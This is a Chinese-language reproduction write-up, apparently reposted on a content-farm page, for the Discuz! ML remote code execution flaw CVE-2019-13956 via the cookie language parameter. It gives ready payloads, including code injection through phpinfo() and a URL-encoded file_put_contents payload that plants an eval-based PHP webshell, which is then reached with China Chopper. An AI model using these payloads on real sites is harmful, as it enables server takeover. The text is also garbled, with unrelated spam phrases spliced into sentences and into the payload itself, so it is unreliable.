discuz! ml远程代码执行(cve-2019-13956)
一、漏洞描述
该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤描写大雪的句子,导致可以远程代码执行。
二、漏洞影响版本
discuz! ml v3.2
discuz! ml v3.3
discuz! ml v3.4
三、漏洞环境搭建
1、 官网下载discuz! ml v3.4,下载地址:
2、 将压缩包解压到phpstudy网站根目录,浏览器访问upload目录开始安装
3、然后就是一直点击下一步就可以了,直到完成安装
四、漏洞复现
1、漏洞存在的位置/upload/source/module/portal/portal_index.php,使用template函数处理’diy:portal/index’,然后使用include_once包含
2、跟进template函数,发现把discuz_lang函数拼接成为一个缓存文件名,然后又返回了缓存文件名
3、跟进discuz_lang函数,发现从cookie中取language的值给$lng
4、继续浏览代码,发现把$lng的值赋给discuz_lang了
5、到此为止,整个漏洞分析过程已结束,过程如下:
外部参数$lng(即cookie中的language语言)可控,导致discuz_lang函数获取$lng,然后拼接成缓存文件并且返回了缓存文件名,导致template函数生成的缓存文件名可控,插入自己的代码,最终include_once函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。
6、测试漏洞,随便点击一个页面,抓包,将cookie中的xxx_language参数值改为’.phpinfo().’,发现成功执行了代码
7、查看缓存文件,发现缓存文件名被修改如下
8、getshell
8.1尝试上传一个shell,构造payload,如下:
‘.file_put_contents(‘shell.php’,'<?php eval($_post[cmd]);?>’).’
执行提示错误,可能是编码的原因
8.2、尝试对payload进行全部编码,失败,只有使用如下payload才能成功
%27.+file_put_contents%28%27shell.php%27%2curl生蒲黄decode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
8.3、查看是否成功上传shell.php,发现成功上传
8.4、菜刀连接
——————————本科专业目录212;————病人心理8212;̵赏梅作文2;————————————-
工具检测:https://github.com/thelsa/discuz-ml-rce
参考: /d/file/titlepic/s
本文发布于:2023-04-07 13:11:31,感谢您对本站的认可!
本文链接:https://www.wtabcd.cn/fanwen/zuowen/ddfaf2c297ddd7e5c5cb53aea9861f5e.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文word下载地址:Discuz! ML远程代码执行(CVE.doc
本文 PDF 下载地址:Discuz! ML远程代码执行(CVE.pdf
留言与评论(共有 0 条评论) |